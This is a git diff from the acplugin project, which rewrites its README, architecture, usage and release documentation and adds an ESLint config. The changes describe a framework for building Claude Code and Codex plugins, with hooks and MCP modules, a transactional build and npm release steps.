| 原生 | +| Command | 原生 Command | 显式调用的 `command-` Skill | +| Agent | 原生 Agent | 降级为仅模型可调用的 `agent-` fallback Skill | -### `acplugin scan [source]` +Codex 可安装 Plugin 不能注册自定义的工程/用户 Agent。因此包含 Agent 时,严格 Codex 构建会失败;使用 `--no-strict` 才会生成 fallback,并明确报告模型、能力约束和注册语义丢失。 -扫描并列出可转换的资源。 +## Hooks Module ```bash -acplugin scan . # 当前目录 -acplugin scan ./my-project # 本地路径 -acplugin scan anthropics/claude-code # GitHub 仓库 -acplugin scan https://github.com/owner/repo # 完整 GitHub URL -acplugin scan owner/repo --path plugins/foo # 仓库内子路径 +pnpm add -D @tokenroll/acplugin-module-hooks ``` -### `acplugin convert [source]` +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-module-hooks'; -将 Claude Code 插件转换为目标平台格式。 +export default defineConfig({ + name: 'policy-plugin', + version: '1.0.0', + description: '可移植策略 Hooks。', + modules: [hooks()], +}); +``` -```bash -acplugin convert . # 交互式选择平台 -acplugin convert . --to cursor # 指定平台 -acplugin convert . --to codex,antigravity # 多个平台 -acplugin convert anthropics/claude-code # 从 GitHub,交互式 -acplugin convert anthropics/claude-code --all # 全部插件,跳过选择 -acplugin convert . -o ./output # 自定义输出目录 -acplugin convert . --dry-run # 预览模式,不写入文件 +```ts +// src/hooks/policy/hook.ts +import { defineHook } from '@tokenroll/acplugin-module-hooks'; + +export default defineHook({ + event: 'PreToolUse', + matcher: 'Bash', + timeout: 5, + async run(input) { + return input.cwd + ? { decision: 'allow' } + : { decision: 'deny', reason: '缺少工作目录。' }; + }, +}); ``` -**选项:** +11 个可移植事件: -| 选项 | 说明 | -|------|------| -| `-t, --to ` | 目标平台(逗号分隔:`codex`、`opencode`、`cursor`、`antigravity`、`pi`) | -| `-o, --output ` | 输出目录 | -| `-a, --all` | 全部转换,跳过交互选择 | -| `-p, --path ` | 仓库内子路径 | -| `--dry-run` | 预览生成的文件,不实际写入 | +```text +SessionStart, SessionEnd, UserPromptSubmit, PreToolUse, PermissionRequest, +PostToolUse, PreCompact, PostCompact, SubagentStart, SubagentStop, Stop +``` -## 使用示例 +20 个 Claude-only 事件会为 Claude 构建,并在 Codex 目标报告 unsupported: -### 转换本地项目 +```text +Setup, UserPromptExpansion, PermissionDenied, PostToolUseFailure, PostToolBatch, +Notification, MessageDisplay, TaskCreated, TaskCompleted, StopFailure, +TeammateIdle, InstructionsLoaded, ConfigChange, CwdChanged, DirectoryAdded, +FileChanged, WorktreeCreate, WorktreeRemove, Elicitation, ElicitationResult +``` + +acplugin 负责 bundle、输入规范化、语义结果校验、有界 JSON I/O、错误脱敏和第三方许可证产物。目标协议以最新的 [Claude Code Hooks](https://code.claude.com/docs/en/hooks) 与 [Codex Hooks](https://learn.chatgpt.com/docs/hooks) 为准。 + +## MCP Module ```bash -cd my-project -acplugin convert . --to cursor,antigravity +pnpm add -D @tokenroll/acplugin-module-mcp ``` -### 从 GitHub Plugin Marketplace 转换 +远程 Streamable HTTP: -```bash -# 交互式:浏览并选择插件 -acplugin convert anthropics/claude-code +```ts +// src/mcp/docs/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; -# 全部插件转换到所有平台 -acplugin convert anthropics/claude-code --all -o ./converted +export default defineMcpServer({ + transport: 'http', + url: 'https://example.com/mcp', + auth: { type: 'bearer', env: 'DOCS_TOKEN' }, + headers: { 'X-Tenant': { env: 'TENANT_ID' } }, +}); ``` -### 扫描仓库查看可用资源 +本地 stdio: -```bash -$ acplugin scan anthropics/claude-code +```ts +// src/mcp/local-tools/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; -Claude Code Plugin Marketplace -✔ Found 13 plugin(s) with resources +export default defineMcpServer({ + transport: 'stdio', + entry: 'server.ts', + env: { API_TOKEN: { env: 'LOCAL_API_TOKEN' } }, +}); +``` -1. agent-sdk-dev [development] — 3 resource(s) -2. code-review [productivity] — 1 resource(s) -3. commit-commands [productivity] — 3 resource(s) -... +本地 MCP 需要由作者提供完整的 stdio MCP 实现,acplugin 将其 bundle 为 Node 20 ESM。HTTP MCP 只需要声明远程 endpoint、认证和 Header 引用。构建期间不会读取环境变量的秘密值。生产 HTTP 必须使用 HTTPS,开发模式仅允许 loopback HTTP。 + +参考 [Claude Code MCP](https://code.claude.com/docs/en/mcp) 和 [Codex MCP](https://learn.chatgpt.com/docs/extend/mcp)。 + +## Module 生命周期 + +```text +configResolved → discover → validate → build → generate(target) → buildEnd ``` -### 私有仓库 +Module 可声明 `dependsOn`,只能使用 Core 提供的工作目录,输出 Artifact、归属明确的 Manifest 字段和兼容性结果。Module 不能替换 Compiler,也不能直接写 `dist`。`buildEnd` 始终按初始化逆序执行。 + +## CLI + +```text +acplugin init [directory] +acplugin dev +acplugin validate +acplugin inspect +acplugin build +acplugin migrate [destination] +``` + +通用参数包括 `--config`、`--target`、`--mode`、`--no-strict` 和 `--json`。 + +- `validate`:完整生成并验证目标,但不写 `dist`。 +- `inspect`:额外返回 Artifact 详情,但不写 `dist`。 +- `build`:所有目标成功后才原子替换完整 `dist`。 +- `dev`:监听工程输入;失败时保留上次成功产物,修复后恢复构建。 +- 裸 `acplugin` 只打印 Help,不发起交互。 + +退出码:`0` 成功、`1` 工程/构建/Migration 失败、`2` CLI 用法或框架内部失败、`130` 取消。非 watch 命令的 JSON 模式只向 stdout 输出一个带版本的文档。 + +## 确定性与安全 + +- Artifact 只允许普通文件,带 owner、mode、size 和 SHA-256。 +- 拒绝绝对/穿越路径、符号链接、大小写/Unicode 冲突和未授权来源。 +- 构建使用同文件系统 stage、锁、事务记录、备份和完整目录 swap。 +- 任意目标失败都会保留上次完整 `dist`。 +- 生成内容/报告不包含时间戳、临时路径、环境变量值或凭据。 +- 未启用对应 Module 时,`src/hooks`/`src/mcp` 中存在内容会直接报错。 -设置 `GITHUB_TOKEN` 环境变量访问私有仓库: +## 旧版本 Migration + +Migration 只属于 CLI,采用动态加载,并与 Core/Compiler/正常启动路径隔离。 ```bash -export GITHUB_TOKEN=ghp_xxx -acplugin convert my-org/private-plugins --all --to codex +acplugin migrate ./legacy-project ./new-plugin \ + --name new-plugin \ + --description "迁移后的 Plugin" + +acplugin migrate owner/repository ./new-workspace --all ``` -## 工作原理 +支持本地 Claude 工程、单 Plugin、Marketplace 和 GitHub 来源。Skills、Commands、Agents 和可移植远程 HTTP MCP 会尽量映射;Instructions、原始 Hooks、Hook 实现文件、本地外部命令 MCP 和不支持的资源保存在 `.acplugin-migration/unmapped/`,同时生成稳定报告和人工处理项。Migration 不允许原地写入。 + +`--dry-run` 不写目标目录;`--strict` 在出现 degraded/unmapped 时失败。 + +## 包与仓库开发 + +公开包: + +- `@tokenroll/acplugin` +- `@tokenroll/acplugin-module-hooks` +- `@tokenroll/acplugin-module-mcp` + +Core、Claude/Codex Compiler 和 Vitest Test workspace 均为私有实现包,不会成为公开运行时依赖。 + +```bash +pnpm install +pnpm run check +pnpm run release:verify +``` -1. **扫描** — 检测 Claude Code 资源:`.claude/` 项目结构、`.claude-plugin/` 插件格式或 marketplace 仓库 -2. **选择** — 交互式 TUI 让你选择要转换的插件和目标平台 -3. **转换** — 将每个资源转换为目标平台格式,自动映射模型和字段 -4. **报告** — 显示生成结果,对无法完全转换的资源输出警告 +`release:verify` 会创建三个 pnpm tarball、检查 Manifest/文件列表、安装到 monorepo 外的干净消费者、执行配置类型检查、API import 和双目标构建,不会发布 npm。 -Claude 特有的功能(如 `context: fork`、`agent: Explore`)会以 HTML 注释的形式保留在输出文件中,供参考。 +第一次 npm 发布需要从已验证 tarball 手工完成 2FA bootstrap。后续 `tokenroll-vX.Y.Z` 标签使用受保护 OIDC workflow,先发布 Modules,再发布主包,验证 Registry 精确版本后才创建 GitHub Release。 -## 许可证 +## License MIT diff --git a/eslint.config.mjs b/eslint.config.mjs new file mode 100644 index 0000000..2311a10 --- /dev/null +++ b/eslint.config.mjs @@ -0,0 +1,20 @@ +import js from '@eslint/js'; +import tseslint from 'typescript-eslint'; +import stylistic from '@stylistic/eslint-plugin'; + +export default tseslint.config( + { ignores: ['**/dist', '**/node_modules', 'test-fixture', 'llmdoc', 'coverage', '.llmdoc-tmp'] }, + js.configs.recommended, + ...tseslint.configs.recommended, + // Formatting via ESLint Stylistic, matched to the existing code style. + stylistic.configs.customize({ indent: 2, quotes: 'single', semi: true, braceStyle: '1tbs' }), + { + rules: { + // This tool parses arbitrary community YAML/JSON, so `any` is unavoidable. + '@typescript-eslint/no-explicit-any': 'off', + // Isolated tolerant Migration sources retain compatibility with legacy inputs. + '@typescript-eslint/no-require-imports': 'off', + '@typescript-eslint/no-unused-vars': ['warn', { argsIgnorePattern: '^_', varsIgnorePattern: '^_' }], + }, + }, +); diff --git a/llmdoc/architecture/system.md b/llmdoc/architecture/system.md index d3936e8..2dd70e2 100644 --- a/llmdoc/architecture/system.md +++ b/llmdoc/architecture/system.md @@ -1,51 +1,79 @@ # System Architecture -## 1. Identity - -- **What it is:** A multi-stage pipeline: Source Resolution, Scanner, Converters, and Writers, with interactive TUI for plugin selection. -- **Purpose:** Transforms Claude Code plugin resources into platform-specific output files. - -## 2. Core Components - -- `src/index.ts` (`program`, `generateForPlatform`, `isGitHubSource`, `resolveSource`, `detectAndScan`): CLI entry point. Defines `scan` and `convert` commands. Auto-detects GitHub vs local source. Routes to marketplace, plugin, or project scan. Dispatches to platform-specific writers. -- `src/github.ts` (`parseGitHubSource`, `downloadGitHubRepo`, `cleanupTempDir`, `getTempRoot`): GitHub repo download without git clone. Parses `owner/repo`, `github:owner/repo#branch`, and full URLs. Downloads tarball via GitHub API, extracts to temp dir. Supports `GITHUB_TOKEN` env var for private repos. -- `src/tui.ts` (`selectPlugins`, `selectPlatforms`, `parseSelection`, `log`): Interactive checkbox selection via @inquirer/prompts. Falls back to select-all in non-TTY environments. Provides styled console output helpers via chalk. -- `src/types.ts` (`Skill`, `Instruction`, `MCPConfig`, `Agent`, `Command`, `Hooks`, `ScanResult`, `PluginMeta`, `PluginScanResult`, `ConvertResult`, `ConvertedFile`): Unified type definitions shared across all stages. `PluginMeta` includes `displayName`, `homepage`, `repository`, `license`, `keywords` optional fields for rich plugin metadata passthrough. -- `src/scanner/claude.ts` (`scanClaudeProject`): Scans a standard Claude Code project directory (`.claude/` layout). Returns a `ScanResult`. -- `src/scanner/plugin.ts` (`hasMarketplace`, `isSinglePlugin`, `scanMarketplace`, `scanPlugin`, `scanAllPlugins`, `countResources`): Scans Claude Code official plugin format. Handles `.claude-plugin/marketplace.json` (multi-plugin) and `.claude-plugin/plugin.json` (single plugin). Plugin resources live directly in plugin root (`skills/`, `agents/`, `commands/`, `hooks/`), not under `.claude/`. -- `src/converter/skill.ts`: Converts `Skill` objects to target platform format. -- `src/converter/instructions.ts`: Converts `Instruction` (CLAUDE.md, rules) to AGENTS.md or .mdc files. -- `src/converter/mcp.ts`: Converts `.mcp.json` servers to config.toml / opencode.json / .cursor/mcp.json. -- `src/converter/agent.ts` (`convertAgent`, `convertToCodex`, `convertToOpenCode`, `convertToCursor`, `convertToAntigravity`): Converts `.claude/agents/*.md` to platform-specific formats. Cursor outputs `.cursor/agents/*.md` with `name`, `description`, `model`, `readonly`. OpenCode outputs `.opencode/agents/*.md` with `mode: subagent`, `steps`, `permission` (edit/bash deny). Antigravity outputs `.agents/agents/*.md`; the Claude tool list is preserved as an HTML comment rather than mapped to an `allowed-tools` allowlist, since Antigravity's internal tool identifiers are unpublished. -- `src/converter/command.ts`: Converts `.claude/commands/*.md` to platform commands. -- `src/converter/hooks.ts` (`convertHooks`, `convertCursorHooks`, `CURSOR_EVENT_MAP`): Converts `settings.json` hooks with compatibility warnings for non-portable events. Cursor hooks use dedicated `convertCursorHooks()` path: maps PascalCase events to camelCase (`PostToolUse` → `postToolUse`), strips `${CLAUDE_PLUGIN_ROOT}` to relative paths, outputs `{ version: 1, hooks: {...} }` JSON at `hooks/hooks-cursor.json`. -- `src/writer/codex.ts` (`generateCodex`): Orchestrates all converters for Codex output. -- `src/writer/opencode.ts` (`generateOpenCode`): Orchestrates all converters for OpenCode output. -- `src/writer/cursor.ts` (`generateCursor`, `generatePluginJson`, `remapToPluginPath`): Orchestrates all converters for Cursor output. Generates `.cursor-plugin/plugin.json` manifest with auto-detected components from scan result. Plugin.json passes through `displayName`, `homepage`, `repository`, `license`, `keywords` from source `PluginMeta`. Includes `hooks` field pointing to `hooks/hooks-cursor.json` when hooks exist. Remaps all `.cursor/` output paths to plugin root layout (`skills/`, `agents/`, `commands/`, `rules/`, `mcp.json`). Targets the Cursor plugin/marketplace format introduced in Cursor 3.9 (2026-06). -- `src/writer/antigravity.ts` (`generateAntigravity`): Orchestrates all converters for Antigravity (Google) output. Skills → `.agents/skills/`, Instructions → `GEMINI.md`, MCP → `.agents/mcp_config.json`, Agents → `.agents/agents/*.md`, Commands → Skills. Uses the CLI workspace convention (plural `.agents/`), not the IDE `.agent/` convention. -- `src/writer/pi.ts` (`generatePi`): Orchestrates converters for Pi (pi-coding-agent) output. Skills → `.pi/skills/`, Instructions → `AGENTS.md`, Commands → `.pi/prompts/*.md`. MCP/agents/hooks have no Pi file format (Pi extends via TypeScript extensions), so the writer skips them and pushes warnings rather than calling those converters. -- `src/utils/model.ts` (`mapModel`, `CODEX_MODEL_MAP`, `ANTIGRAVITY_MODEL_MAP`): Maps Claude model names to platform equivalents. Codex → `gpt-5.6-sol` (haiku → `gpt-5.6-terra`), Antigravity → `gemini-3.1-pro-preview`/`gemini-3.6-flash`. OpenCode and Cursor pass models through unchanged. -- `src/utils/frontmatter.ts`: YAML frontmatter parse/stringify via gray-matter. -- `src/utils/toml.ts`: TOML serialization via @iarna/toml. -- `src/utils/fs.ts` (`writeFile`, `readFile`, `fileExists`): File system utilities with directory creation. -- `.github/workflows/acplugin.yml`: Repository CI workflow that runs `TokenRollAI/acplugin-action@v1` on Claude source changes in `main`. -- `.github/workflows/publish-npm.yml`: Release workflow. Triggers on `v*` tags, verifies the tag matches `package.json` version, runs install/build/test/package validation, then publishes to npm with GitHub Actions OIDC Trusted Publishing. - -## 3. Execution Flow (LLM Retrieval Map) - -- **1. CLI Parse:** User invokes `acplugin scan [source]` or `acplugin convert [source]`. Commander.js parses args in `src/index.ts:16-21`. Source is a positional argument defaulting to `.`. -- **2. Source Resolution:** `isGitHubSource()` at `src/index.ts:26-36` auto-detects GitHub sources. `resolveSource()` at `src/index.ts:41-53` either downloads via `src/github.ts:74-109` or resolves a local path. Cleanup callback is returned for temp dirs. -- **3. Detection & Scan:** `detectAndScan()` at `src/index.ts:58-69` checks for marketplace (`hasMarketplace`), single plugin (`isSinglePlugin`), or standard project, then calls the appropriate scanner. -- **4. Interactive Selection (convert only):** If `--to` not specified, `selectPlatforms()` from `src/tui.ts:39-56` prompts for platform selection. For marketplace repos without `--all`, `selectPlugins()` from `src/tui.ts:10-34` prompts for plugin selection. -- **5. Convert:** Each writer (e.g., `src/writer/codex.ts`) calls converter modules (`src/converter/*.ts`) for each resource type, collecting `ConvertedFile[]` and warnings. -- **6. Write:** `convertSingleScan()` at `src/index.ts:193-227` iterates over `ConvertedFile[]` and writes each to disk via `src/utils/fs.ts`, unless `--dry-run` is set. -- **7. Report:** `printConvertReport()` at `src/index.ts:288-303` outputs a summary of generated files and warnings. - -## 4. Design Rationale - -- **One-way conversion only:** Claude Code is the source of truth. Bidirectional sync would create conflict resolution complexity with no clear benefit. -- **HTML comment preservation:** Claude-specific frontmatter fields (e.g., `allowed-tools`, `effort`) are embedded as HTML comments in output so they are not lost but do not break target platforms. -- **Native subagent support:** Codex, OpenCode, Cursor, and Antigravity support agents natively; each writer generates platform-specific agent frontmatter (Cursor: `readonly`; OpenCode: `mode`, `steps`, `permission`; Antigravity: Claude tool list preserved as a comment). Pi has no subagent format, so its writer emits a warning. -- **Model mapping:** `src/utils/model.ts` centralizes Claude-to-platform model translation, defaulting to the platform's strongest model when no mapping exists. -- **Auto-detection over flags:** Source type (GitHub/local) and format (marketplace/plugin/project) are auto-detected to minimize required CLI arguments. -- **Non-TTY fallback:** TUI selection defaults to "all" when stdin is not a TTY, enabling CI/script usage without interactive prompts. +## Pipeline + +```text +acplugin.config.ts + → resolve/validate config + → order and initialize Modules + → discover canonical Components/Public + → validate Component dependency graph + → Module target contributions + → built-in Compiler per target + → immutable Artifact graph + → compatibility strictness/final validation + → validate-only materialization or managed output transaction + → stable report +``` + +`validate`, `inspect`, and `build` run this same pipeline. Only report detail and commit behavior differ. `dev` creates a fresh pipeline per coalesced rebuild and keeps the last successful complete output after failures. + +## Core package + +`packages/core/src/` owns: + +- `types.ts`: public config, Component, Module, Compiler, Artifact, compatibility, and report contracts; +- `config.ts`: strict config normalization and safe project-relative directories; +- `scanner.ts`: canonical Markdown/Public discovery, Frontmatter validation, dependency graph checks, and Module-directory gating; +- `diagnostics.ts`: stable sorted diagnostics and compatibility strictness; +- `artifacts.ts`: ownership, hashing, file-source roots, modes, and collision checks; +- `builder.ts`: lifecycle orchestration, Compiler dispatch, final graph/report creation; +- `transaction.ts`: validation materialization and whole-`dist` lock/backup/swap/recovery; +- `serialization.ts`: deterministic JSON/YAML/Markdown serialization. + +Artifacts reject absolute/traversal paths, symlinks, unsupported modes, source escapes, and exact/case-insensitive/Unicode-normalized collisions. + +## Module lifecycle + +```text +configResolved → discover → validate → build → generate(target) → buildEnd +``` + +Modules are topologically ordered by `dependsOn`, preserving config order among peers. A Module may access only declared dependency State/Built State and write only its Core-provided work directory. It returns target Artifacts, uniquely owned top-level Manifest fields, and compatibility entries. Compilers retain complete Manifest and target-schema ownership. + +`buildEnd` runs in reverse initialized order after success or failure. On a candidate commit, the transaction keeps the prior output as a rollback backup while reverse cleanup runs. A cleanup failure is reported, passed to remaining cleanup hooks, and rolls the swap back to the previous complete output. Failures before the swap reach cleanup through the normal error path. + +## Built-in Compilers + +`packages/compiler-claude-code/` emits native Commands, Skills, Agents, and `.claude-plugin/plugin.json`. + +`packages/compiler-codex/` emits native Skills, Command fallback Skills, Agent fallback Skills, invocation policy metadata, and `.codex-plugin/plugin.json`. Generated identities are reserved case-insensitively; collisions fail visibly. + +Both packages are private and bundled into `@tokenroll/acplugin` by tsdown. + +## Official Modules + +`packages/module-hooks/` discovers `src/hooks//hook.ts`, validates event/matcher/timeout/semantic results, and bundles a self-contained bounded JSON runner per supported target. Literal dynamic imports ensure the handler and dependencies enter the bundle. Runtime failures emit fixed codes without input payloads. Third-party dependency licenses are emitted adjacent to handlers. + +`packages/module-mcp/` discovers `src/mcp//mcp.ts`. Streamable HTTP declarations map URL/auth/header environment references without reading secrets. Local stdio entries are bundled as Node 20 ESM and carry adjacent third-party license notices. + +## Managed output transaction + +`dist` is a complete managed target set: + +1. acquire an exclusive sibling lock; +2. recover a retained backup/transaction record; +3. materialize all selected targets into a same-filesystem stage; +4. recompute and verify every Artifact size, SHA-256, mode, and regular-file status; +5. write the transaction record and rename old output to backup; +6. rename stage to output while retaining the rollback boundary; +7. finish Module cleanup successfully or roll back; +8. remove transaction and best-effort cleanup backup. + +Pre-commit failure leaves old output untouched. Failure after backup/swap rolls back. If cleanup alone is interrupted, the next run deterministically reconciles output and backup. Core tests inject failures at each observable phase. + +## CLI and package boundary + +`packages/acplugin/src/index.ts` loads fresh trusted TypeScript config/descriptor modules with Jiti and wires the two bundled Compilers. Nested config objects are runtime-schema checked before pipeline use. `cli.ts` owns commands, JSON/text output discipline, exit codes, watch coalescing, and lazy Migration import. Stable diagnostics redact external exceptions, absolute paths, and recognizable credential forms. + +The normal facade and CLI startup do not import `migration/`. The packed main tarball contains no private package imports or runtime dependencies; `scripts/verify-release.mjs` proves this in an external consumer. diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index b5aff10..0ddbf9e 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -1,15 +1,52 @@ -# How to Publish `@disdjj/acplugin` to npm +# Releasing the public package cohort -Release publishing is automated by GitHub Actions. The workflow lives at `.github/workflows/publish-npm.yml` and publishes only from Git tags that match the package version. +The public packages are released at one version: -1. Update the package version in `package.json` and `package-lock.json`. +- `@tokenroll/acplugin` +- `@tokenroll/acplugin-module-hooks` +- `@tokenroll/acplugin-module-mcp` -2. Commit the version bump to `main`. +Core, the built-in Compilers, and the test workspace are private and must not be published or appear as packed runtime dependencies. -3. Create and push a Git tag in the form `vX.Y.Z`. The tag must exactly match `package.json` version. Example: package version `1.5.3` requires tag `v1.5.3`. +## Prepare a release -4. GitHub Actions runs `.github/workflows/publish-npm.yml` on the tag push. The workflow validates the tag-version match, then runs `npm ci`, `npm run build`, `npm test`, `npm pack --dry-run`, and `npm publish`. +1. Add a Changeset for user-visible changes and version the fixed package group with `pnpm version-packages`. +2. Confirm all three public manifests have the same version and Module peer dependencies still use `workspace:^` in the repository. +3. Run: -5. npm authentication uses Trusted Publishing, not a long-lived token. The npm package `@disdjj/acplugin` must be configured to trust the GitHub repository `TokenRollAI/acplugin` and workflow `.github/workflows/publish-npm.yml`. + ```bash + pnpm install --frozen-lockfile + pnpm run check + pnpm run release:verify + ``` -6. Package metadata required for publishing is stored in `package.json`. `repository.url` must point to `https://github.com/TokenRollAI/acplugin.git`, and `publishConfig.access` must stay `public` because the package is scoped. +`release:verify` packs all three packages, checks their manifests and contents, installs the tarballs into a clean external consumer, then typechecks, imports, validates, and builds that consumer. + +## Bootstrap the first npm identities + +The first `1.0.0` publication is manual because each scoped package identity must exist before Trusted Publishing can be configured. From the exact verified revision, create a private temporary tarball directory and pack the cohort: + +```bash +pnpm --filter @tokenroll/acplugin-module-hooks pack --pack-destination ./release-tarballs +pnpm --filter @tokenroll/acplugin-module-mcp pack --pack-destination ./release-tarballs +pnpm --filter @tokenroll/acplugin pack --pack-destination ./release-tarballs +``` + +An authorized organization maintainer publishes those tarball paths with `npm publish --access public --otp ` in Hooks → MCP → main order. After every command, verify `npm view @1.0.0 version`. Do not create a release tag until all three exact versions exist. No automated implementation or test may perform this bootstrap. + +Then configure Trusted Publishing separately for each npm package, restricted to repository `TokenRollAI/acplugin`, workflow `publish-npm.yml`, and the protected `npm` GitHub environment. + +## Publish later versions from a tag + +Commit the release preparation to `main`, then create `tokenroll-vX.Y.Z`. The tag must exactly match the fixed cohort version. Publishing is performed only by `.github/workflows/publish-npm.yml`; do not publish a partial cohort manually. + +The workflow verifies Node 20 and 24, rebuilds and inspects the tarballs, publishes Hooks and MCP before the main package, verifies every exact registry version, and only then creates the GitHub Release. Existing exact versions are skipped so a safely rerun workflow can complete an interrupted cohort. + +The workflow uses OIDC/provenance and does not require a long-lived npm token. + +## Safety rules + +- Never use `npm unpublish` or mutate dist-tags as part of recovery. +- Never create the tag until local verification succeeds. +- Never publish private `@acplugin/*` workspace packages. +- If a publish is interrupted, rerun the same tag workflow; its exact-version checks preserve completed members and continue in dependency-safe order. diff --git a/llmdoc/guides/usage.md b/llmdoc/guides/usage.md index db138f1..b514991 100644 --- a/llmdoc/guides/usage.md +++ b/llmdoc/guides/usage.md @@ -1,17 +1,76 @@ -# How to Scan and Convert Claude Code Resources +# Using acplugin -A guide for using the `acplugin` CLI to scan a project for Claude Code resources and convert them to other platform formats. The source argument is positional and auto-detects GitHub repos vs local paths. +acplugin projects author one canonical plugin and compile installable Claude Code and Codex packages. Node.js 20 or newer and pnpm are required. -1. **Build the project:** Run `npm run build` to compile TypeScript to `dist/`. +## Create a project -2. **Scan a local project:** Run `acplugin scan .` or `acplugin scan /path/to/project` to list all discoverable resources. This is read-only and produces no output files. +```bash +pnpm dlx @tokenroll/acplugin init my-plugin --yes +cd my-plugin +pnpm install +pnpm build +``` -3. **Scan a GitHub repo:** Run `acplugin scan owner/repo` to download and scan a GitHub repository without cloning. Also supports `github:owner/repo#branch` and full GitHub URLs. Use `-p ` for monorepos. +`init` can add the official Hooks and MCP Modules with `--hooks` and `--mcp`. The default configuration builds both targets and uses `src/`, `public/`, and `dist/`. -4. **Convert to specific platforms:** Run `acplugin convert . --to codex,opencode,cursor,antigravity,pi` to generate output for specified platforms. When `--to` is omitted, an interactive checkbox lets you choose platforms (includes "Antigravity (Google)" and "Pi (pi-coding-agent)" options). +## Author Components -5. **Convert a marketplace repo:** Run `acplugin convert owner/repo` on a repo with `.claude-plugin/marketplace.json`. An interactive TUI lets you select which plugins to convert. Use `--all` (`-a`) to skip selection. +Put Commands in `src/commands/.md`, Skills in `src/skills//SKILL.md`, and Agents in `src/agents/.md`. Component IDs use lowercase kebab-case. Markdown files require YAML Frontmatter and a non-empty body. -6. **Preview without writing:** Add `--dry-run` to see what files would be generated without writing anything to disk. +The required top-level identity belongs directly in `acplugin.config.ts`: -7. **Custom output directory:** Use `-o ` to write generated files to a different location. For GitHub sources, output defaults to the current directory instead of the temp download path. +```ts +import { defineConfig } from '@tokenroll/acplugin'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', +}); +``` + +There is no Instructions Component. Hooks and MCP directories are accepted only when their official Module is enabled. + +The TypeScript config and enabled Hook/MCP descriptors are trusted executable project code. Review them like build scripts. Legacy Migration sources are scanned as untrusted data and are not executed as descriptors. + +## Validate and build + +```bash +pnpm exec acplugin validate +pnpm exec acplugin inspect +pnpm exec acplugin build +pnpm exec acplugin dev +``` + +- `validate` generates and materializes every selected target in temporary storage without changing `dist`. +- `inspect` adds Artifact details without changing `dist`. +- `build` atomically replaces the complete managed output only after every target succeeds. +- `dev` watches inputs, coalesces changes, and retains the last successful output after a failed rebuild. + +Common options are `--config`, repeatable `--target`, `--mode`, `--no-strict`, and `--json`. Strict mode is on by default. For example, a Codex build containing an Agent fails because Codex can only receive an explicit degraded Skill fallback; use `--no-strict` when that result is intentional. + +## Public files + +Regular files in `public/` are copied to every target root by default. Use explicit rules when only part of the directory should be copied: + +```ts +public: { + dir: 'public', + copy: [ + { from: 'assets', to: 'assets' }, + { from: 'NOTICE.md', to: 'NOTICE.md' }, + ], +}, +``` + +Symlinks, traversal, collisions, and sources outside approved roots are rejected. + +## Migrate legacy input + +```bash +pnpm exec acplugin migrate ./legacy-project ./new-plugin \ + --name new-plugin \ + --description "Migrated plugin" +``` + +Migration also accepts supported GitHub forms, single Claude plugins, and marketplaces. Use `--dry-run` to avoid destination writes and `--strict` to fail on any degraded or unmapped resource. Non-portable resources are preserved under `.acplugin-migration/unmapped/` with a report; Migration never writes in place. diff --git a/llmdoc/index.md b/llmdoc/index.md index 5c203fb..e4852d3 100644 --- a/llmdoc/index.md +++ b/llmdoc/index.md @@ -1,24 +1,20 @@ -# acplugin - Documentation Index +# acplugin documentation -## Project Summary +acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Skills, Agents, and optional Module sources once, then build complete installable Claude Code and Codex plugins. -CLI tool that converts Claude Code plugins (skills, instructions, MCP configs, agents, commands, hooks) to compatible formats for Codex CLI, OpenCode, Cursor IDE, Google Antigravity, and Pi (pi-coding-agent). Supports local projects, single plugins, marketplace repos, and direct GitHub download. +## Overview -## Document Map +- [Project overview](overview/project.md) — product boundary, packages, runtime, and Migration isolation. -### Overview +## Guides -- [Project Overview](overview/project.md) - What acplugin is, supported input formats, and tech stack. +- [Using acplugin](guides/usage.md) — scaffold, author, validate, build, and migrate. +- [Release guide](guides/release.md) — fixed public cohort verification and trusted tag publishing. -### Guides +## Architecture -- [CLI Usage](guides/usage.md) - How to scan and convert resources from local paths or GitHub repos. -- [npm Release](guides/release.md) - How tag-driven GitHub Actions publishing to npm works. +- [System architecture](architecture/system.md) — Core-owned lifecycle, Compilers, Modules, Artifact graph, and managed output transaction. -### Architecture +## Reference -- [System Architecture](architecture/system.md) - Source resolution, scanner pipeline, TUI selection, converter-writer flow. - -### Reference - -- [Conversion Matrix](reference/conversion-matrix.md) - Resource type support per target platform, input formats, and source types. +- [Target support matrix](reference/conversion-matrix.md) — native, transformed, and degraded target capabilities plus implementation ownership. diff --git a/llmdoc/overview/project.md b/llmdoc/overview/project.md index 123e544..bbe0d6a 100644 --- a/llmdoc/overview/project.md +++ b/llmdoc/overview/project.md @@ -1,16 +1,38 @@ -# acplugin +# Project Overview -## 1. Identity +## Identity -- **What it is:** A CLI tool that converts Claude Code plugin configurations into equivalent formats for Codex CLI, OpenCode, Cursor IDE, Google Antigravity, and Pi (pi-coding-agent). -- **Purpose:** Enables developers to maintain a single Claude Code configuration and automatically generate compatible configurations for other AI coding platforms. +acplugin is a canonical AI Plugin framework and CLI. Authors maintain one framework-owned source layout and compile complete installable plugins for Claude Code and Codex. -## 2. High-Level Description +The public release cohort is: -acplugin follows a scan-convert-write pipeline. It scans a local directory or a GitHub repository for Claude Code resources (skills, instructions, MCP server configs, agents, commands, and hooks), then converts each resource type into the target platform's native format, and writes the output files. Conversion is one-way (Claude Code to others, never bidirectional). Claude-specific fields that have no equivalent on a target platform are preserved as HTML comments or generate compatibility warnings. A model mapping module (`src/utils/model.ts`) translates Claude model names to platform equivalents (e.g., `gpt-5.6-sol` for Codex, `gemini-3.1-pro-preview`/`gemini-3.6-flash` for Antigravity). +- `@tokenroll/acplugin` +- `@tokenroll/acplugin-module-hooks` +- `@tokenroll/acplugin-module-mcp` -The tool supports three input formats: standard Claude Code project layout (`.claude/` directory), single plugin (`.claude-plugin/plugin.json`), and multi-plugin marketplace (`.claude-plugin/marketplace.json`). Sources can be local paths or GitHub repositories (auto-detected from `owner/repo` syntax). For marketplace repos, an interactive TUI allows selecting which plugins and target platforms to convert. Cursor output uses `.cursor-plugin/` format with `plugin.json` manifest and resources at plugin root (`skills/`, `agents/`, `commands/`, `rules/`, `mcp.json`); the plugin/marketplace format was introduced in Cursor 3.9 